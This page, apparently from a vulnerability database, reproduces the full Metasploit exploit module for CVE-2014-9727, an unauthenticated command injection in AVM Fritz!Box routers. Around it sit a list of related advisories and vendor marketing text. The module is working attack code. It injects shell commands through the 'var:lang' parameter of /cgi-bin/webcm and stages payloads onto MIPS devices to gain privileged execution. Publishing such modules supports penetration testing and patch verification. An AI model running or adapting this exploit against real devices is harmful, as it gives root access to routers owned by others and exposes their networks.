Lucene search
K

Fritz!Box Webcm Unauthenticated Command Injection

Fritz!Box Webcm Unauthenticated Command Injection on multiple device model

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2014-9727
29 May 201500:00
attackerkb
Circl
CVE-2014-9727
29 May 201815:50
circl
CNVD
AVM Fritz!Box Arbitrary Command Execution Vulnerability
1 Jun 201500:00
cnvd
Check Point Advisories
AVM Fritz!Box Command Injection (CVE-2014-9727)
25 Jan 202100:00
checkpoint_advisories
CVE
CVE-2014-9727
29 May 201515:00
cve
Cvelist
CVE-2014-9727
29 May 201515:00
cvelist
NVD
CVE-2014-9727
29 May 201515:59
nvd
OpenVAS
Multiple AVM FRITZ!Box Multiple Vulnerabilities - Version Check
19 Feb 201400:00
openvas
OpenVAS
Multiple AVM FRITZ!Box Multiple Vulnerabilities - Active Check
10 Mar 201400:00
openvas
OpenVAS
Speedport DSL-Router Multiple Vulnerabilities
14 Mar 201400:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Fritz!Box Webcm Unauthenticated Command Injection',
      'Description' => %q{
        Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
        This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
        following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
        7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
        6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
      },
      'Author'      =>
        [
          'Unknown', # Vulnerability discovery
          'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2014-9727' ],
          [ 'OSVDB', '103289' ],
          [ 'BID', '65520' ],
          [ 'URL', 'http://www.kapple.de/?p=75' ],                       # vulnerability details with PoC
          [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],          # probably the first published details (now censored)
          [ 'URL', 'http://pastebin.com/GnMKGmZ2' ],                     # published details uncensored from speckmarschall
          [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], # vendor site with a list of vulnerable devices
          [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] # writeup with PoC
        ],
      'DisclosureDate' => '2014-02-11',
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets' =>
        [
          [ 'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],
          [ 'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ],
        ],
      'DefaultTarget'    => 0
      ))
      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def check
    begin
      clue = Rex::Text::rand_text_alpha(rand(5) + 5)

      res = send_request_cgi({
        'uri'    => '/cgi-bin/webcm',
        'method'  => 'GET',
        'vars_get' => {
          "var:lang" => "&echo -e \"\\n\\n#{clue}\""
        }
      })
      if res && res.body =~ /#{clue}/
        return Exploit::CheckCode::Vulnerable
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri'    => '/cgi-bin/webcm',
        'method' => 'GET',
        'vars_get' => {
          "var:lang" => "&#{cmd}",
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def exploit
    print_status("Trying to access the vulnerable URL...")

    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")
    execute_cmdstager(
      flavor: :echo,
      linemax: 92
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation